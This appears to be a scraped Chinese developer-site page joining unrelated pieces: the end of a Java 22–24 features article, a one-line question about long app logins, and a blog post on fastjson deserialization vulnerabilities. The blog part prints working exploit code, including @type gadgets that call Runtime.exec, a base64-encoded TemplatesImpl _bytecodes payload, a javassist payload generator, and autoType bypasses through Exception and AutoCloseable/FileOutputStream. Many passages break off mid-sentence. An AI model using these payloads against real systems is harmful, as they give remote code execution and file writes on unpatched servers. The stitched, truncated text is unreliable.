的。它将堆内存划分为年轻代和老年代两个区域,年轻代的垃圾收集可以更加频繁和高效,因为大部分年轻对象很快就会死亡,收集器可以快速清理掉这些垃圾;而老年代的收集频率相对较低,减少了对长期存活对象的不必要扫描。  ## Java 22 ### 【了解】外部函数和内存 API 长期以来,Java 程序员想要调用 C/C++ 编写的本地库,只能依赖 JNI(Java Native Interface)。但说实话,JNI 的使用体验并不好,需要手写胶水代码、维护头文件和构建脚本、处理 JNIEnv 和复杂类型转换,一旦接口频繁变更,维护成本较高。 外部函数与内存 API(FFM API)提供了标准化、类型安全的方式来从 Java 直接调用本地代码。FFM API 现在支持几乎所有主流平台,性能相比 JNI 可能有一定提升,特别是在频繁调用本地函数的场景下。 大家不用记忆具体是怎么使用的,只要知道有这个特性就足够了。 ### 【了解】未命名变量和模式 在开发中,我们可能会遇到这样的情况:有些变量我们必须声明,但实际上并不会使用到它们的值。 在这之前,我们只能给这些不使用的变量起一个名字,代码会显得有些多余。举些例子: ```java try { processData(); } catch (IOException ignored) { // 只关心异常发生,不关心异常对象 System.out.println("处理数据时出错了"); } String result = switch (obj) { case Integer i -> "这是整数: " + i; case String s -> "这是字符串: " + s; case Double unused -> "这是浮点数"; // 不需要使用具体的值 default -> "未知类型"; }; ``` 有了未命名变量特性,可以使用下划线 `_` 表示不使用的变量代码,意图更清晰: ```java try { processData(); } catch (IOException _) { // 不关心异常对象 System.out.println("处理数据时出错了"); } String result = switch (obj) { case Integer i -> "这是整数: " + i; case String s -> "这是字符串: " + s; case Double _ -> "这是浮点数"; // 只关心类型,不关心值 default -> "未知类型"; }; // 在解构中也很有用 if (point instanceof Point(var x, var _)) { // 只关心 x 坐标 System.out.println("x 坐标是: " + x); } ``` ## Java 23 ### 【了解】ZGC 默认分代模式 Java 22 引入了分代 ZGC,但当时你需要通过特殊的 JVM 参数来启用它: ```bash java -XX:+UseZGC -XX:+UnlockExperimentalVMOptions -XX:+UseGenerationalZGC MyApp ``` 而在 Java 23 中,分代模式成为了 ZGC 的默认行为。 虽然听起来只是个小改动,但这个改变的背后是大量的性能测试和实际应用验证的结果。Oracle 的工程师们发现,分代 ZGC 在绝大多数应用场景中都能带来显著的性能改善,特别是在内存分配密集的应用中,性能提升可能达到数倍之多。 ## Java 24 ### 【了解】类文件 API 类文件 API 是一个专为框架和工具开发者设计的强大特性。长期以来,如果你想要在运行时动态生成、分析或修改 Java 字节码,就必须依赖像 ASM、Javassist 或者 CGLIB 这样的第三方库。 而且操作字节码需要深入了解底层细节,学习难度很大,我只能借助 AI 来搞定。 有了类文件 API,操作字节码变得简单了一些: ```java public byte[] generateClass() { return ClassFile.of().build(ClassDesc.of("com.example.GeneratedClass"), cb -> { // 添加默认构造函数 cb.withMethod("<init>", MethodTypeDesc.of(ConstantDescs.CD_void), ACC_PUBLIC, mb -> { mb.withCode(codeb -> { codeb.aload(0) .invokespecial(ConstantDescs.CD_Object, "<init>", MethodTypeDesc.of(ConstantDescs.CD_void)) .return_(); }); }); // 添加 sayHello 方法 cb.withMethod("sayHello", MethodTypeDesc.of(ConstantDescs.CD_String), ACC_PUBLIC, mb -> { mb.withCode(codeb -> { codeb.ldc("Hello from generated class!") .areturn(); }); }); }); } ``` 读取和分析现有的类文件也很简单: ```java public void analyzeClass(byte[] classBytes) { ClassModel cm = ClassFile.of().parse(classBytes); System.out.println("类名: " + cm.thisClass().asInternalName()); System.out.println("方法列表:"); for (MethodModel method : cm.methods()) { System.out.println(" - " + method.methodName().stringValue() + method.methodType().stringValue()); } } ``` 第三方字节码库可能需要一段时间才能跟上新特性的变化,而官方的类文件 API 则能够与语言特性同步发布,确保开发者能够使用最新的字节码功能。 ### 【了解】Stream Gatherers 流收集器 Stream API 自 Java 8 引入以来,极大地改变了我们处理集合数据的方式,但是在一些特定的场景中,传统的 Stream 操作就显得力不从心了。Stream Gatherers 正是对 Stream API 的一个重要扩展,它解决了现有 Stream API 在某些复杂数据处理场景中的局限性,补齐了 Stream API 的短板。 如果你想实现一些复杂的数据聚合操作,比如滑动窗口或固定窗口分析,可以直接使用 Java 24 内置的 Gatherers。 ```java // 1. 滑动窗口 - windowSliding(size) List<Double> prices = Arrays.asList(100.0, 102.0, 98.0, 105.0, 110.0); List<Double> movingAverages = prices.stream() .gather(Gatherers.windowSliding(3)) // 创建大小为 3 的滑动窗口 .map(window -> { // window 是 List<Double> 类型,包含 3 个连续元素 return window.stream() .mapToDouble(Double::doubleValue) .average() .orElse(0.0); }) .collect(Collectors.toList()); System.out.println("移动平均值: " + movingAverages); // 移动平均值: [100.0, 101.66666666666667, 104.33333333333333] ``` 还有更多方法,感兴趣的同学可以自己尝试:  除了内置的 Gatherers 外,还可以自定义 Gatherer,举一个最简单的例子 —— 给每个元素添加前缀。先自定义一个 Gatherer: ```java Gatherer<String, ?, String> addPrefix = Gatherer.ofSequential( () -> null, // 不需要状态,所以初始化为 null (state, element, downstream) -> { // 给每个元素添加 "前缀-" 并推送到下游 downstream.push("前缀-" + element); return true; // 继续处理下一个元素 } // 不需要 finisher,省略第三个参数 ); ``` `Gatherer.ofSequential` 方法会返回 Gatherer 接口的实现类:  然后就可以愉快地使用了: ```java List<String> names = Arrays.asList("鱼皮", "编程", "导航"); List<String> prefixedNames = names.stream() .gather(addPrefix) .collect(Collectors.toList()); System.out.println(prefixedNames); // 输出: [前缀-鱼皮, 前缀-编程, 前缀-导航] ``` 这个例子展示了 Gatherer 的最基本形态: - 不需要状态:第一个参数返回 null,因为我们不需要维护任何状态 - 简单转换:第二个参数接收每个元素,做简单处理后推送到下游 - 无需收尾:省略第三个参数,因为不需要最终处理 虽然这个例子用 `map()` 也能实现,但它帮助我们理解了 Gatherer 的基本工作机制。 这就是 Stream Gatherers 强大之处,它能够维护复杂的内部状态,并根据业务逻辑灵活地向下游推送结果,让原本需要手动循环的复杂逻辑变得简洁优雅。 Stream Gatherers 的另一个优势是它和现有的 Stream API 完全兼容。你可以在 Stream 管道中的任何位置插入 Gatherer 操作,就像使用 map、filter 或 collect 一样自然,让复杂的数据处理变得既强大又优雅。 ------ OK 以上就是本期内容,学会的话记得点赞三连支持,我们下期见。  ## 更多 💻 编程学习交流:[编程导航](https://www.codefather.cn/) 📃 简历快速制作:[老鱼简历](https://laoyujianli.com) ✏️ 面试刷题神器:[面试鸭](https://mianshiya.com) 📖 AI 学习指南:[AI 知识库](https://ai.codefather.cn/)
APP的长登录,在后端是怎么去实现的?在前端要怎么去配合呢?
### 问题描述 APP的长登录,在后端是怎么去实现的?在前端要怎么去配合呢? ### 背景信息 现在的APP登录状态登录保持很久,这样的效果是怎么去实现的呢?现在常用的技术方案有哪些呢?
不是,解析个JSON你给我弹出个计算器?
大家好,我是小顾,是一名Java开发者。在实际的项目中,我们会经常用到JSON格式的数据来和前端交互,还有一些字符串转JSON,JSON转字符串的场景。现在Java有很多成熟的JSON工具,比如Gson,Jackson等,不知道你们是用什么JSON解析工具呢?我上家公司用了是Fastjosn,这个工具是阿里巴巴开源的一个高性能JSON解析库,是阿里的温少以一己之力开发的,通过库的名称可以知道,这个工具是以快著称。它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。 ## 前言 `fastjson` 网上的教程一大堆,那具体是怎么用的呢,下面我来整理一下基础的用法。 ### 引入依赖 要使用fastjson,需要在maven项目里的pom文件中添加这个库的依赖。 ```xml <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>x.x.x</version> </dependency> ``` 具体`Maven`的各个依赖的详细信息我们可以在这个网站上面查得到: [https://mvnrepository.com/artifact/com.alibaba/fastjson](https://mvnrepository.com/artifact/com.alibaba/fastjson) 如果要使用最新的v2版本,可以使用fastjson2: [https://mvnrepository.com/artifact/com.alibaba.fastjson2/fastjson2](https://mvnrepository.com/artifact/com.alibaba.fastjson2/fastjson2) ### 简单的demo #### 对象序列化 ```java /** * @author gulihua * @Description * @date 2024-12-07 22:12 */ public class JSONTest { public static void main(String[] args) { // 将对象转为JSON字符串 User user = new User(); user.setId(1L); user.setName("gulihua"); user.setPassword("12345678"); System.out.println(JSON.toJSONString(user)); } @Data public static class User { private Long id; private String name; private String password; } } ``` 这段代码就是将一个 `User` 对象转换为 JSON 格式的数据。输出结果如下: <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/UyW9hnkD5ZwL5QjV.webp" alt="img](![image" width="100%" /> #### 对象反序列化 ```java /** * @author gulihua * @Description * @date 2024-12-07 22:12 */ public class JSONTest { public static void main(String[] args) { // 将JSON字符串解析为Java对象 String jsonString = "{\"id\":2,\"name\":\"xiaogu\",\"password\":\"111111\"}"; User user = JSON.parseObject(jsonString, User.class); System.out.println(user.getId() + ", " + user.getName() + ", " + user.getPassword()); } @Data public static class User { private Long id; private String name; private String password; } } ``` 这段代码是将 JSON 字符串解析为 `User` 对象。输出结果如下: <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/1VSfMFNAAshTfVFW.webp" alt="img](![image" width="100%" /> #### 集合序列化 ```java /** * @author gulihua * @Description * @date 2024-12-07 22:12 */ public class JSONTest { public static void main(String[] args) { List<User> userList = new ArrayList<>(); userList.add(new User(1L, "gulihua", "123456")); userList.add(new User(2L, "xiaogu", "11111111")); System.out.println(JSON.toJSONString(userList)); } @Data @AllArgsConstructor public static class User { private Long id; private String name; private String password; } } ``` 以上的代码就是新建了两个 `User` 对象,并且将它们添加到 `userList`集合中,然后转换成JSON 数组的字符串,下面是输出结果: <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/TO2MQh4It9zT1DFT.webp" alt="img](![image" width="100%" /> #### 集合反序列化 ```java /** * @author gulihua * @Description * @date 2024-12-07 22:12 */ public class JSONTest { public static void main(String[] args) { String arr = "[{\"id\":1,\"name\":\"gulihua\",\"password\":\"123456\"},{\"id\":2,\"name\":\"xiaogu\",\"password\":\"11111111\"}]"; List<User> userList = JSON.parseArray(arr, User.class); System.out.println(userList); } @Data @AllArgsConstructor @NoArgsConstructor public static class User { private Long id; private String name; private String password; } } ``` 上面的代码是将一个JSON数组的字符串转化为 `User` 集合列表,输出: <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/jFlo9EcbQznc6JG8.webp" alt="img](、Map 和 Collection 类型,比如Atomic 类型:调用字段或方法返回的对象的 set 方法更新值,Map 类型:将传入值中的所有键值对合并到目标 Map,Collection 类型:将传入值的所有元素添加到目标 Collection。当字段不属于上述特殊类型时,通过 field.set() 或 method.invoke() 直接通过反射方式设置值。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/k6nWi9GuzbdpS8iC.webp" alt="img](![image" width="100%" /> 那么问题来了,如果对象里的字段和JSON里的字段名称不一样怎么办呢,不要慌,有一个我们可以通过一个 `@JSONField`注解来指定对应的映射关系。可以看下下面的demo: ```java /** * @author gulihua * @Description * @date 2024-12-07 22:12 */ public class JSONTest { public static void main(String[] args) { String jsonString = "{\"user_id\":2,\"user_name\":\"xiaogu\",\"user_password\":\"111111\"}"; User user = JSON.parseObject(jsonString, User.class); System.out.println(user.getId() + ", " + user.getName() + ", " + user.getPassword()); } @Data @AllArgsConstructor @NoArgsConstructor public static class User { @JSONField(name = "user_id") private Long id; @JSONField(name = "user_name") private String name; @JSONField(name = "user_password") private String password; } } ``` 通过代码示例可以看到,如果字段不一样,直接通过 `@JSONField(name = "JSON字段名称")` 来映射对象和JSON字段的关系。 相关的代码: <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/dyaHNQG85tFauf6Z.webp" alt="img](![image" width="100%" /> 其实这个`build`方法的主要功能就是解析`bean类`的结构信息,遍历类的所有字段,包括私有字段和公共字段。如果字段有 `@JSONField` 注解,优先使用注解指定的名称和序列化特性。它也支持链接结构的build方法,如果有 `@JSONPOJOBuilder` 注解,就会提取 `buildMethod`,然后解析以特定前缀(如 `with`)开头的链式方法。它会识别以 `set` 开头的方法,将其映射为 JSON 属性。并支持集合、`Atomic` 类型字段的只读解析。 ## 起因 我们知道,fastjson 主要功能就是JSON字符串和bean的序列化、反序列化,但是它并没有使用jdk自带的序列化机制,而是自己实现了一套机制。对JSON来说,要想把Java对象转成JSON,要么是基于对象的属性,要么就是基于`get/set`方法。上面的代码分析中讲到,JSON转对象的时候,fastjson 会遍历所有的`set`方法,同理,在Java对象转JSON的时候,它会遍历所有的`get`的方法。而像其他的JSON库并不是这样写的,比如`Gson`,他是通过反射遍历该类中的所有属性,并把其值序列化成JSON。 我们首先看一个示例,我们定义了一个`User` 对象,里面有一个`Hobbies`类型的`hobbies`属性,这个`Hobbies`类型其实是一个自定义的接口。 ```java /** * @author gulihua * @Description * @date 2024-12-07 22:12 */ public class JSONTest { @Data @AllArgsConstructor @NoArgsConstructor public static class User { private Long id; private String name; private Hobbies hobbies; } public interface Hobbies { } @Data @AllArgsConstructor @NoArgsConstructor public static class football implements Hobbies { private String club; } } ``` 接着,我们把他序列化一下: ```java public static void main(String[] args) { User user = new User(1L, "gulihua", new football("myFootballTeam")); System.out.println(JSON.toJSONString(user)); } ``` 当我们要对`User`进行序列化的时候,fastjson会扫描所有的的`get`方法,即找到`getId`、`getName`和`getHobbies`这时候就会将`id`、`name`、`hobbies`两个字段的值序列化到JSON字符串中,输出如下: <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/TkzmEeyu0Ikfodgc.webp" alt="img](![image" width="100%" /> 那么问题来了,这段JSON字符串能够成功的反序列化吗?如果能`hobbies`字段又被反序列化成什么呢,因为`hobbies`定义的是一个接口,反序列化时,它会反序列化成什么对象呢?试一下: ```java public static void main(String[] args) { String str = "{\"hobbies\":{\"club\":\"myFootballTeam\"},\"id\":1,\"name\":\"gulihua\"}"; User user = JSON.parseObject(str, User.class); System.out.println(user); } ``` 输出: <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/PP9eJTlykHTmtT9J.webp" alt="img](![image" width="100%" /> 可以看到,`hobbies`字段并没有值。所以,当一个类中包含了一个接口的时候,在使用fastjson进行序列化的时候,会将实现的类型抹去,只保留接口的类型,使得反序列化时无法拿到原始类型。那如何去解决呢?那就是把原始类型记录下来不就行了,fastjson 里有一个序列化的配置`SerializerFeature.WriteClassName`可以记录原始类型: ```java public static void main(String[] args) { User user = new User(1L, "gulihua", new football("myFootballTeam")); System.out.println(JSON.toJSONString(user, SerializerFeature.WriteClassName)); } ``` 输出JSON字符串结果 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/gvuEbnV5tYeXHQK3.webp" alt="img](![image" width="100%" /> 可以看到,JSON字符串多出来个`@type`字段,值是接口原始类型的全类目,这样做的好处是方便在反序列化的时候指定具体的类型。试一下反序列化: ```java public static void main(String[] args) { String json = "{\"@type\":\"org.example.JSONTest$User\",\"hobbies\":{\"@type\":\"org.example.JSONTest$football\",\"club\":\"myFootballTeam\"},\"id\":1,\"name\":\"gulihua\"}"; User user = JSON.parseObject(json, User.class); System.out.println(user); } ``` 输出的对象: <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/I0UzeQa7iLgPGoki.webp" alt="img]( throws Exception { java.lang.Runtime.getRuntime().exec("open -a Calculator"); } } public static void main(String[] args) throws Exception { String s = "{\"@type\":\"org.example.OpenCalculator$Calculator\"}"; ParserConfig config = new ParserConfig(); Object obj = JSON.parseObject(s, Object.class); } } ``` 不是,我解析个JSON你咋给我弹出个计算器? <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/wOqAH3x9REEn9yGW.webp" alt="img](的权限,并能够在目标系统上运行任意命令。 我们来打个断点调试下,看下为什么会这样: 过程和上面类似,它会根据类型获取反序列化器,然后用反序列化器进行反序列化操作。通过断点可以看到,获取到的反序列化器是`FastjsonASMDeserializer`,这个序列化器通过`ASM机制`生成的临时代码源码是看不到的,那么什么是`ASM`呢,`ASM` 是一个强大的 Java 字节码操作框架,它可以灵活地动态生成一个Java 类,而无需手动编写文件。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/IBIcV4OEBP0VCLYW.webp" alt="img](`方法,这是用于获取当前 Java 虚拟机 (JVM) 的运行时环境实例,通过这个实例,开发者可以访问和控制与 JVM 相关的一些底层操作,如内存管理、运行外部程序、垃圾回收等等。比如打开计算器的命令`java.lang.Runtime.getRuntime().exec("open -a Calculator");` 但是这段程序只能在有`org.example.OpenCalculator$Calculator`类的程序上运行,要想在服务器上执行一些命令,需要在服务器上动态生成一个类并加载。 我们先介绍一下`ClassLoader`,它是 Java 虚拟机 (JVM) 中一个核心组件,用于动态加载类文件。它将 `.class` 文件加载到 JVM 中,供程序运行时使用。`ClassLoader` 提供了一种灵活机制,使得 Java 可以支持动态加载和运行代码。里面有一个方法`defineClass`,这个方法是用于将字节码数据转换为 `Class` 对象。这是实现自定义类加载器的重要方法,可以绕过默认的双亲委派模型,实现自定义的类加载逻辑。但是它是`protected`访问权限,我们可以通过反射的方式修改权限,实现用它来加载我们的字节码文件。 我们先把刚刚的`Calculator`类提取出来,然后运行`javac Calculator.java`,编译成`.class`文件。 ```java /** * @author gulihua * @Description * @date 2024-12-12 15:40 */ public class Calculator { public Calculator() throws Exception { java.lang.Runtime.getRuntime().exec("open -a Calculator"); } } ``` 然后将`.class`文件字节数组生成base64字符串。 ```java yv66vgAAADQAHAoABgAPCgAQABEIABIKABAAEwcAFAcAFQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAWAQAKU291cmNlRmlsZQEAD0NhbGN1bGF0b3IuamF2YQwABwAIBwAXDAAYABkBABJvcGVuIC1hIENhbGN1bGF0b3IMABoAGwEACkNhbGN1bGF0b3IBABBqYXZhL2xhbmcvT2JqZWN0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAEAAQAHAAgAAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAAIAAQACQANAAoACwAAAAQAAQAMAAEADQAAAAIADg== ``` 然后运行 ```java public static void main(String[] args) throws Exception{ Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class); defineClass.setAccessible(true); byte[] code = Base64.decode("yv66vgAAADQAHAoABgAPCgAQABEIABIKABAAEwcAFAcAFQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAWAQAKU291cmNlRmlsZQEAD0NhbGN1bGF0b3IuamF2YQwABwAIBwAXDAAYABkBABJvcGVuIC1hIENhbGN1bGF0b3IMABoAGwEACkNhbGN1bGF0b3IBABBqYXZhL2xhbmcvT2JqZWN0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAEAAQAHAAgAAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAAIAAQACQANAAoACwAAAAQAAQAMAAEADQAAAAIADg=="); Class yyds= (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "Calculator", code, 0, code.length); yyds.newInstance(); } ``` 成功弹出了计算器 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/zi35tM85soKyX4BV.webp" alt="img]( throws Exception { java.lang.Runtime.getRuntime().exec("open -a Calculator"); } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } } ``` 编译成`.class`文件,`base64`一下: ```java public static void main(String[] args) throws Exception { String classBase64 = "yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAA9DYWxjdWxhdG9yLmphdmEMAAcACAcAHAwAHQAeAQASb3BlbiAtYSBDYWxjdWxhdG9yDAAfACABAApDYWxjdWxhdG9yAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvbGFuZy9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAADgAEAA8ADQAQAAsAAAAEAAEADAABAA0ADgACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAAFQALAAAABAABAA8AAQANABAAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABoACwAAAAQAAQAPAAEAEQAAAAIAEg=="; try { final String classPath = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String json = "{" + "\"@type\":\"" + classPath + "\"," + "\"_bytecodes\":[\"" + classBase64 + "\"]," + "'_name':'Test'," + "'_tfactory':{ }," + "'_outputProperties':{}" + "}\n"; ParserConfig config = new ParserConfig(); System.out.println(json); Object obj = JSON.parseObject(json, Object.class, config, Feature.SupportNonPublicField); } catch (Exception e) { e.printStackTrace(); } } ``` 成功弹出了计算器 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/D0QGDighewiP6ArO.webp" alt="img](![image" width="100%" /> 再进行升级改造下,我们刚刚都是手动写一个`Calculator`类,然后手动编译,这个类其实也可以动态生成,我们可以利用一个开源的 Java 字节码操作库`javassist`来动态生成一个计算器类。 引入包: ```xml <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.22.0-GA</version> </dependency> ``` 通常我们需要将`.java文件`使用`javac命令`编译成`.class文件`才能正常执行,`javasist`是一个处理字节码的类库,它提供了简单易用的API,能够动态生成或修改`class字节码`文件,与 ASM 等其他字节码框架相比,`Javassist` 更加高层次,操作起来更接近于直接操作 Java 源代码。现在来简单学习一下它的常用用法: Javassist中最为重要的是`ClassPool`、`CtClass`、`CtMethod`、`CtField以及CtConstructor`这几类。 CtClass(编译时类): CtClass 是 Javassist 中用于表示 Java 类的核心对象,它可以用来创建、修改或操作一个类的结构和方法。 ClassPool(类池):ClassPool 是一个容器,存储和管理所有 CtClass 对象的实例。它类似一个缓存系统,用来加载和存储类的定义。 CtMethod(编译时方法):CtMethod 用于表示类中的方法,支持动态添加、修改和删除。 CtField(编译时字段): CtField 用于表示类中的字段,可以动态添加或修改字段。 CtConstructor(编译时构造器):CtConstructor 用于表示类中的构造器,可以动态添加或修改构造方法。 使用方法: ```java public static void main(String[] args) throws Exception { // 动态创建类 ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.makeClass("Calculator"); // 定义类的初始化块插入代码 String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");"; cc.makeClassInitializer().insertBefore(cmd); // 设置类名 String randomClassName = "Calculator"; cc.setName(randomClassName); // 设置父类 cc.setSuperclass((pool.get(AbstractTranslet.class.getName()))); // 转位字节数组 byte[] bytes = cc.toBytecode(); String classBase64 = Base64.getEncoder().encodeToString(bytes); try { final String classPath = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String json = "{" + "\"@type\":\"" + classPath + "\"," + "\"_bytecodes\":[\"" + classBase64 + "\"]," + "'_name':'Calculator'," + "'_tfactory':{ }," + "'_outputProperties':{}" + "}\n"; ParserConfig config = new ParserConfig(); System.out.println(json); Object obj = JSON.parseObject(json, Object.class, config, Feature.SupportNonPublicField); } catch (Exception e) { e.printStackTrace(); } } ``` 执行,成功弹出~ <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/njYRp1zL7xDTYqhb.webp" alt="img](`方法,如果没有开启`autoType`,就先判断类名在不在黑名单中,如果在黑名单里,就直接抛出异常。然后再去匹配白名单,如果在就用`TypeUtils.loadClass`加载。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/X82Lql1p2Yfy0dJk.webp" alt="img](有的版本`AutoType` 必须要开启; 2)基于`JNDI+RMI`或`JDNI+LADP`进行漏洞攻击,会有一定的JDK版本的限制; 3)一些调用链还需要依赖第三方库,有的项目中可能不会用到这些。 不过感兴趣的同学也可以自已试下,看能不能注入进去。我这里也不打算详细说了,因为我也没有复现出来哈哈,可能是`JDK`版本的问题。其实原理都是一样的,看源码,找注入点。 #### 版本 1.2.42 在版本`1.2.42`中,在`ParserConfig.java`中将黑名单的类变成了hash值,应该防止知道类名而进行绕过。不过这些类名的hash都是可以爆破的,目前大部分的内容都已经被爆破出来了。 项目地址: [GitHub - LeadroyaL/fastjson-blacklist](https://github.com/LeadroyaL/fastjson-blacklist) <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/dBu2InSfxiyi1JOu.webp" alt="img](`expectClassFlag`不为null时不能为以下几个类 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/LZjdQOrO5BDk8myl.webp" alt="img](不在黑名单里的,但在白名单里的类 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/6Yt4uKzuYz5ucSVH.webp" alt="img]( 我们可以看到`Exception`类在缓存`mapping`里,因此我们可以构建一个异常类。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/PoETLhh7uoQXpGBr.webp" alt="img](![image" width="100%" /> ```java public class CalcException extends Exception { private String command; public void setCommand(String command) { this.command = command; } @Override public String getMessage() { try { Runtime.getRuntime().exec(this.command); } catch (IOException e) { return e.getMessage(); } return super.getMessage(); } } public static void main(String[] args) { String a = " {\n" + " \"@type\":\"java.lang.Exception\",\n" + " \"@type\": \"org.example.CalcException\",\n" + " \"command\": \"open -a Calculator\"\n" + " }"; System.out.println(a); System.out.println(JSONObject.parse(a)); } ``` 在`DefaultJSONParser.parseObject`里,检测到`key`是`@type`,然后会进行安全检测。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/ikoPl3DxJaQw3w1O.webp" alt="img]( 我们可以看下`JavaBeanDeserializer#deserialze()`方法,其实它的逻辑和`ThrowableDeserializer#deserialze()`是一样的,都是指定个`expectClass`绕过安全检测。网上用的比较多的类就是`AutoCloseable`,因为它也是在`TypeUtils#mappings`缓存中,并且它的子类比较多,可操作性比较大。我们可以用`FileOutputStream`类作为其实现类。 ```java { "@type": "java.lang.AutoCloseable", "@type": "java.io.FileOutputStream", "file": "/Users/gulihua/Downloads/1/2/test.txt", "append": "false" } ``` 可以看到,文件被创建了。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/08P3WI0YBsylLRbs.webp" alt="img](`去找构造方法的参数签名信息,`JDK 1.8.0_40`版本是没有这些信息的,所以报错了。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/tLBCGpDYrO52ndw4.webp" alt="img](这个类不在`Fastjson 1.2.68`的黑名单中 2)这个类实现了`java.lang.AutoCloseable`接口 3)保留`LocalVariableTable`参数签名信息 肯定是有一些第三方库是满足的,时间有限,我这里就不去尝试了,感兴趣的同学可以去尝试下。 ## 总结 以上就是一些`fastjson`比较知名的漏洞、修复、绕过的过程, 虽然在`fastjson v1`中有很多的漏洞,现在`fastjson v2`重构了`fastjson`,历史版本中存在的漏洞在新版本中均已修复,在安全性上有了很大的提升,我们在实际的项目中可以使用比较新的稳定版本。 我在写这篇文章时,参考了大量的资料,也读了关键的源码,学习到了很多的知识。`Fastjson`自己定义了很多序列化类,并且使用`ASM`技术、反射、使用缓存,并且用了很多的设计模式,并且在算法上也有优化,这个框架的核心就是`Fast`,在序列号和反序列化的效率比其他的库有一定的提升。 我在学习其他大佬写的漏洞分析文章时,觉得他们实在是厉害,对这些发现利用链的大佬们充满由衷的敬佩,不同版本之间的漏洞--修复-绕过-再修复展示了开发者和黑客们的攻防较量,实在是精彩 ~ ## 参考感谢 [https://github.com/alibaba/fastjson/releases](https://github.com/alibaba/fastjson/releases) [https://github.com/alibaba/fastjson/wiki/security\_update\_20200601](https://github.com/alibaba/fastjson/wiki/security_update_20200601) [https://www.cnblogs.com/CoLo/p/15832201.html](https://www.cnblogs.com/CoLo/p/15832201.html) [https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg](https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg) 